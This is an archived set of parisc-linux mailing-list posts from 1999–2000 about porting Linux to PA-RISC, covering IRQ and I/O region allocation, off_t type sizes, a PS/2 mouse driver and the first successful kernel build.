Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 186DFFA3; Tue, 28 Nov 2000 09:49:04 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA26808;
	Tue, 28 Nov 2000 09:49:27 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 28 Nov 2000 16:07:04 PST."
             <3A23CA18.1171E884@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:8636

Thomas Marteau wrote:
> Hi all,
> 
> 	We appreciate if someone can explain where we can find request_irq and
> request_region in hp_psaux.c and also, what are they doing?

include/linux/sched.h:extern int request_irq(unsigned int, ...)
(Implementation is in arch/parisc/kernel/irq.c)

The request_irq() "allocates" an IRQ line for use by the device - this
program the PIC (or APIC) on x86 platforms. request_irq() is also how
an interrupt handler is associated with a specific IRQ line. Since
PA Risc CPU's don't have IRQ lines going into them, IRQ's are virtualized
and don't always represent a physical IRQ line.

Under LASI, see gsc_alloc_irq(&gsc_irq) usage in drivers/gsc/lasi.c.
lasi_find_irq() helps associate the PS/2 interrupt handler with
the correct IRQ line which is internal to lasi.


include/linux/ioport.h:#define request_region(start,n,name) ...

request_region() will reserve a range of I/O port address from the
global I/O space. request_mem_region() does the same for MMIO.
Drivers that use inb/outb (as defined in include/asm-parisc/io.h)
must use request_region(). Drivers that use gsc_readb/gsc_writeb
(as defined in include/asm-parisc/gsc.h) must use request_mem_region().

Collisions are probably occuring where a driver originally used inb/outb
and those were redefined to use gsc_readb/writeb functions. But the
driver is still using request_region().


And it doesn't help that I may have broken some of the resource mgt
with some code I committed last night. It worked on my boxes (A180/C3K)
but broke on other folks. Paul Bame helped find/fix one bug but
I shouldn't be surprised if more bugs are still out there.
I will be fixing some known resource failure problems on A500.
Please post problems on other platforms to parisc-linux list as well.

hope this helps,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PDC firmware revision FAQ update
Date: Tue, 28 Nov 2000 09:53:37 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <200011281753.JAA26830@milano.cup.hp.com>
References: <D129C739829DD411855A00E018C42729042D68@server01.chatspace.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619350 7152 80.91.229.3 (22 Nov 2014 01:22:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:30 +0000 (UTC)
Cc: "'parisc-linux@puffin.external.hp.com'" <parisc-linux@puffin.external.hp.com>
To: William Ferguson <wferguson@server01.chatspace.com>
Original-X-From: grundler@cup.hp.com  Tue Nov 28 10:52:06 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA10995
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 10:52:06 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 38A766F4
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 09:54:31 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA26830;
	Tue, 28 Nov 2000 09:53:38 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 28 Nov 2000 09:35:36 PST."
             <D129C739829DD411855A00E018C42729042D68@server01.chatspace.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8637

William Ferguson wrote:

> Is the web server at www.parisc-linux.org down?  Can't seem to connect from
> San Diego.

Yes. Linuxcare is having some <cough> DNS problems right now and
they host that site. Any forecasts on when that will be back up?

grant


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Include trouble
Date: Tue, 28 Nov 2000 12:27:09 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <E140qPF-0005T4-00@noam.fc.hp.com>
References: <200011281737.MAA24142@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619351 7155 80.91.229.3 (22 Nov 2014 01:22:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:31 +0000 (UTC)
Cc: alan@linuxcare.com.au (Alan Modra), marteaut@esiee.fr,
        parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: bame@noam.fc.hp.com  Tue Nov 28 12:24:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA12381
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 12:24:48 -0700
Original-Received: (qmail 8642 invoked by uid 15267); 28 Nov 2000 19:27:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8630 invoked from network); 28 Nov 2000 19:27:12 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 19:27:12 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id A5D4DC6A; Tue, 28 Nov 2000 14:27:11 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id MAA03773;
	Tue, 28 Nov 2000 12:27:10 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 140qPF-0005T4-00; Tue, 28 Nov 2000 12:27:09 -0700
In-Reply-To: Your message of "Tue, 28 Nov 2000 12:37:28 EST."
             <200011281737.MAA24142@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:8638

= Hmm.  Most 32 bit systems use "unsigned int" rather than "unsigned long".

I will be happy to change it back to unsigned int.  The only reason
I used unsigned long is because it seems off_t wants to be, to a
first approximation, the word length of the machine, and 'long' does
that.

= Using "unsigned long" might cause problems with packages like libio.


= I know there is a problem if off_t is not the same as size_t.

What problem is that?  I'm working on a proposal for the palinux
type sizes at the moment.

One dilema is that off_t is supposed to
be good for file offsets, which these days means it should be 64 bits.
size_t refers to the sizes of objects which are expected to fit in
RAM, so should be the word size of the machine.  So there's a conflict
because one logic suggests 64-bit off_t and 32-bit size_t on 32-bit palinux,
but your statement suggests they should be the same size.  Any ideas?

However I'm leaning towards leaning with the older 32-bit off_t because
we might not want to be the first ones to fix all the problems with
making it 64 bits on a 32-bit machine.

	-P


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The kernel builds!!!
Date: Sat, 1 May 1999 00:24:37 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990501000741.10592S-100000@devserv.devel.redhat.com>
References: <19990501030804.06634@insula.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619351 7158 80.91.229.3 (22 Nov 2014 01:22:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Sat May  1 01:51:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA18284
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 May 1999 01:51:33 -0600
Original-Received: (qmail 5761 invoked by uid 15267); 1 May 1999 07:49:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5743 invoked from network); 1 May 1999 07:49:29 -0000
Original-Received: from devserv.devel.redhat.com (root@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 1 May 1999 07:49:29 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id AAA27031
	for <parisc-linux@thepuffingroup.com>; Sat, 1 May 1999 00:24:37 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <19990501030804.06634@insula.local>
Xref: news.gmane.org gmane.linux.ports.parisc:8639


On Sat, 1 May 1999, Philipp Rumpf wrote:
> prumpf@insula:~/cvs-s/parisc/linux > ls -l vmlinux 
> -rwxr-xr-x   1 prumpf   users      353695 May  1 03:01 vmlinux
> 

I'm pretty sure that this is the first every monolithic kernel to be build
for PA RISC.

This is a pretty significant feat, and I'd encourage you wherever you are
to stand up and clap your hands/wings to Philipp and everyone else who's
helped out. 

This is going very very well... I hope people can appreciate the
significance of this step.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team




From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse driver for PS/2
Date: Tue, 28 Nov 2000 20:30:30 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <3A2407D6.49E5701@esiee.fr>
References: <3A22C48D.F5F85405@esiee.fr> <3A23CA18.1171E884@esiee.fr> <00112818213403.13860@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619351 7161 80.91.229.3 (22 Nov 2014 01:22:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:31 +0000 (UTC)
Cc: Puffin Group <parisc-linux@thepuffingroup.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: marteaut@esiee.fr  Tue Nov 28 12:25:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA12629
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 12:25:29 -0700
Original-Received: (qmail 9768 invoked by uid 15267); 28 Nov 2000 19:27:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9756 invoked from network); 28 Nov 2000 19:27:51 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 19:27:51 -0000
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 512A7D15AA; Tue, 28 Nov 2000 20:27:50 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksecure i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8640

Hi all,

	We have a sample of code for the mouse driver. But, we would like to
know how the Puffin would like the implementation of the driver. Because
of drag & drop..., do you want two different interrupt functions or a
single that does a redirection. Also , we have seen that busmouse.c is
quite interesting for our driver. Do we make a copy and call it
hp_mouse.c?

Thanks for your answer,
ESIEE Team
For a better future with a mouse!


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Include trouble
Date: Tue, 28 Nov 2000 20:02:26 +0000 (GMT)
Lines: 13
Approved: news@gmane.org
Message-ID: <E140qxQ-0004wV-00@the-village.bc.nu>
References: <E140qPF-0005T4-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619352 7163 80.91.229.3 (22 Nov 2014 01:22:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:32 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca (John David Anglin),
        alan@linuxcare.com.au (Alan Modra), marteaut@esiee.fr,
        parisc-linux@thepuffingroup.com
To: bame@noam.fc.hp.com (Paul Bame)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Nov 28 13:04:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14054
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 13:04:44 -0700
Original-Received: (qmail 12438 invoked by uid 15267); 28 Nov 2000 20:07:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12389 invoked from network); 28 Nov 2000 20:07:06 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 20:07:06 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 140qxQ-0004wV-00; Tue, 28 Nov 2000 20:02:28 +0000
In-Reply-To: <E140qPF-0005T4-00@noam.fc.hp.com> from "Paul Bame" at Nov 28, 2000 12:27:09 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8641

> One dilema is that off_t is supposed to
> be good for file offsets, which these days means it should be 64 bits.

off_t should be a natural type. So it should be 32bits. glibc 2.2 deals with
the 64bit I/O stuff nicely

> However I'm leaning towards leaning with the older 32-bit off_t because
> we might not want to be the first ones to fix all the problems with
> making it 64 bits on a 32-bit machine.

Go 32bit. Linus will probably refuse to touch a 32bit port using longlong
internally for off-t


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Include trouble
Date: Tue, 28 Nov 2000 15:24:26 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <200011282024.PAA28233@hiauly1.hia.nrc.ca>
References: <E140qPF-0005T4-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619352 7165 80.91.229.3 (22 Nov 2014 01:22:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:32 +0000 (UTC)
Cc: alan@linuxcare.com.au, marteaut@esiee.fr, parisc-linux@thepuffingroup.com
To: bame@noam.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 28 13:23:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14906
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 13:23:32 -0700
Original-Received: (qmail 12355 invoked by uid 15267); 28 Nov 2000 20:25:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12340 invoked from network); 28 Nov 2000 20:25:56 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 20:25:56 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA28233;
	Tue, 28 Nov 2000 15:24:27 -0500 (EST)
In-Reply-To: <E140qPF-0005T4-00@noam.fc.hp.com> from "Paul Bame" at Nov 28, 2000 12:27:09 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8642

> = Hmm.  Most 32 bit systems use "unsigned int" rather than "unsigned long".
> 
> I will be happy to change it back to unsigned int.  The only reason
> I used unsigned long is because it seems off_t wants to be, to a
> first approximation, the word length of the machine, and 'long' does
> that.

Agreed.

> = Using "unsigned long" might cause problems with packages like libio.
> 
> 
> = I know there is a problem if off_t is not the same as size_t.
> 
> What problem is that?  I'm working on a proposal for the palinux
> type sizes at the moment.

It is simply dumb coding that hasn't been fixed.  There are inconsistencies
between the interface declarations and implementations.  The old libio
is on the way out.

> One dilema is that off_t is supposed to
> be good for file offsets, which these days means it should be 64 bits.
> size_t refers to the sizes of objects which are expected to fit in
> RAM, so should be the word size of the machine.  So there's a conflict
> because one logic suggests 64-bit off_t and 32-bit size_t on 32-bit palinux,
> but your statement suggests they should be the same size.  Any ideas?

Only, because of poorly written legacy code.  I agree that off_t should
be 64 bits on 32 bit platforms today.

> However I'm leaning towards leaning with the older 32-bit off_t because
> we might not want to be the first ones to fix all the problems with
> making it 64 bits on a 32-bit machine.

Maybe it isn't that bad because I noticed at least one port used unsigned
long long for off_t.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Include trouble
Date: Tue, 28 Nov 2000 15:33:52 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200011282033.PAA28280@hiauly1.hia.nrc.ca>
References: <200011282024.PAA28233@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619352 7169 80.91.229.3 (22 Nov 2014 01:22:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:32 +0000 (UTC)
Cc: bame@noam.fc.hp.com, alan@linuxcare.com.au, marteaut@esiee.fr,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 28 13:32:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA15721
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 13:32:49 -0700
Original-Received: (qmail 26877 invoked by uid 15267); 28 Nov 2000 20:35:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26866 invoked from network); 28 Nov 2000 20:35:13 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 20:35:13 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA28280;
	Tue, 28 Nov 2000 15:33:52 -0500 (EST)
In-Reply-To: <200011282024.PAA28233@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 28, 2000 03:24:26 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8643

> Maybe it isn't that bad because I noticed at least one port used unsigned
> long long for off_t.

Take that back.  It was __kernel_loff_t.  Just go with

typedef unsigned int	__kernel_size_t;
typedef long            __kernel_off_t;
#ifdef __GNUC__
typedef long long	__kernel_loff_t;
#endif

for the 32 bit port.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse driver for PS/2
Date: Tue, 28 Nov 2000 21:41:53 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <00112821415306.13860@P100>
References: <3A22C48D.F5F85405@esiee.fr> <00112818213403.13860@P100> <3A2407D6.49E5701@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619353 7171 80.91.229.3 (22 Nov 2014 01:22:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:33 +0000 (UTC)
Cc: Puffin Group <parisc-linux@thepuffingroup.com>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: deller@gmx.de  Tue Nov 28 13:39:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA16431
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 13:39:53 -0700
Original-Received: (qmail 6636 invoked by uid 15267); 28 Nov 2000 20:42:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6623 invoked from network); 28 Nov 2000 20:42:18 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 20:42:18 -0000
Original-Received: (qmail 15647 invoked by uid 0); 28 Nov 2000 20:41:51 -0000
Original-Received: from pd9040389.dip.t-dialin.net (HELO P100) (217.4.3.137)
  by mail.gmx.net (mail02) with SMTP; 28 Nov 2000 20:41:51 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <3A2407D6.49E5701@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:8644

On Tuesday 28 November 2000 20:30, Thomas Marteau wrote:
> Hi all,

Hi Thomas,

>
> 	We have a sample of code for the mouse driver. But, we would like to
> know how the Puffin would like the implementation of the driver. Because
> of drag & drop..., do you want two different interrupt functions or a
> single that does a redirection. Also , we have seen that busmouse.c is
> quite interesting for our driver. Do we make a copy and call it
> hp_mouse.c?

I would propose, that you check in hp_mouse.c and use different interrupt 
functions for now. Changing it later shouldn't be too difficult.

Greetings,
	Helge.  

>
> Thanks for your answer,
> ESIEE Team
> For a better future with a mouse!


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dave O'Neill" <doneill@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PDC firmware revision FAQ update
Date: Tue, 28 Nov 2000 16:08:49 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0011281607530.4204-100000@talisker.thepuffingroup.com>
References: <200011281753.JAA26830@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619353 7174 80.91.229.3 (22 Nov 2014 01:22:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:33 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: doneill@linuxcare.com  Tue Nov 28 14:06:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA17745
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 14:06:36 -0700
Original-Received: (qmail 19585 invoked by uid 15267); 28 Nov 2000 21:09:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19535 invoked from network); 28 Nov 2000 21:08:58 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 21:08:58 -0000
Original-Received: (qmail 10041 invoked from network); 28 Nov 2000 21:08:57 -0000
Original-Received: from ottawa.linuxcare.com (HELO talisker.thepuffingroup.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 28 Nov 2000 21:08:57 -0000
X-Sender: <dmo@talisker.thepuffingroup.com>
In-Reply-To: <200011281753.JAA26830@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8645

On Tue, 28 Nov 2000, Grant Grundler wrote:

> Yes. Linuxcare is having some <cough> DNS problems right now and
> they host that site. Any forecasts on when that will be back up?

Well, it looks like our DNS issues are fixed... the site should be
accessible now.

Dave
-- 
Dave O'Neill,    Senior Linux Consultant,     Linuxcare, Inc.
desk: (613) 562-9949 fax: (613) 562-9700 cell: (613) 223-0219
doneill@linuxcare.com               http://www.linuxcare.com/


From - Thu Nov 08 21:14:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Include trouble
Date: Tue, 28 Nov 2000 14:21:05 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <E140sBV-0005ao-00@noam.fc.hp.com>
References: <E140qxQ-0004wV-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619353 7177 80.91.229.3 (22 Nov 2014 01:22:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:33 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca (John David Anglin),
        alan@linuxcare.com.au (Alan Modra), marteaut@esiee.fr,
        parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: bame@noam.fc.hp.com  Tue Nov 28 14:18:43 2000
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA18601
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 14:18:43 -0700
Original-Received: (qmail 8885 invoked by uid 15267); 28 Nov 2000 21:21:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8874 invoked from network); 28 Nov 2000 21:21:08 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 21:21:08 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 2B7646A3; Tue, 28 Nov 2000 16:21:07 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id OAA26886;
	Tue, 28 Nov 2000 14:21:06 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 140sBV-0005ao-00; Tue, 28 Nov 2000 14:21:05 -0700
In-Reply-To: Your message of "Tue, 28 Nov 2000 20:02:26 GMT."
             <E140qxQ-0004wV-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8646

= Go 32bit. Linus will probably refuse to touch a 32bit port using longlong
= internally for off-t

Hmmm, too bad, since we have few palinux backwards compatibility issues and
could just have the __USE_FILE_OFFSET64 glibc magic be a no-op rather
than supporting all those extra *64 syscalls.  Plus we'd need
considerably fewer syscall translators to run 32-bit apps on 64-bit
kernel (but might need more for 32-bit hpux apps).  It seems illogical
to make a file-system-related data type different based on cpu
word size but I understand this isn't simple -- oh well.

Seems like the consensus is 32-bit off_t on 32-bit kernel and just
live with all those *64 syscalls -- many not supported on palinux
yet I notice.

	-P


From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
